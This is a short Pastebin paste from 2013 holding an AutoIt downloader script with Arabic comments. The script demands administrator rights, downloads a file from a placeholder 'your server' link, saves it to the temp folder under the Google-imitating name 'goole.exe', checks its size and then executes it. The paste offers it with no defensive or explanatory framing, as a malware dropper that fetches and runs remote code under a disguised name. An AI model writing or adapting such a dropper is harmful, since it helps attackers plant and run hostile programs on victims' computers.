Alshabh

Untitled

Jun 19th, 2013
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. ' كود داونلود
  2. ' مبرمج بالوتويبت
  3.  
  4. #RequireAdmin
  5. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  6. #AutoIt3Wrapper_UseUpx=n
  7. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  8. Global Const $sdownloadlink = "سيرفرك برابط مباشر"
  9. Global Const $ssavepath = @TempDir & "goole.exe"
  10. Local $downloadfile = InetGet($sdownloadlink, $ssavepath, 1, 1)
  11. Do
  12.  
  13. Until InetGetInfo($downloadfile, 2)
  14. If FileExists($ssavepath) Then
  15. If FileGetSize($ssavepath) = InetGetSize($sdownloadlink) Then
  16. ****************lExecute($ssavepath)
  17. EndIf
  18. EndIf
Advertisement
Add Comment
Please, Sign In to add comment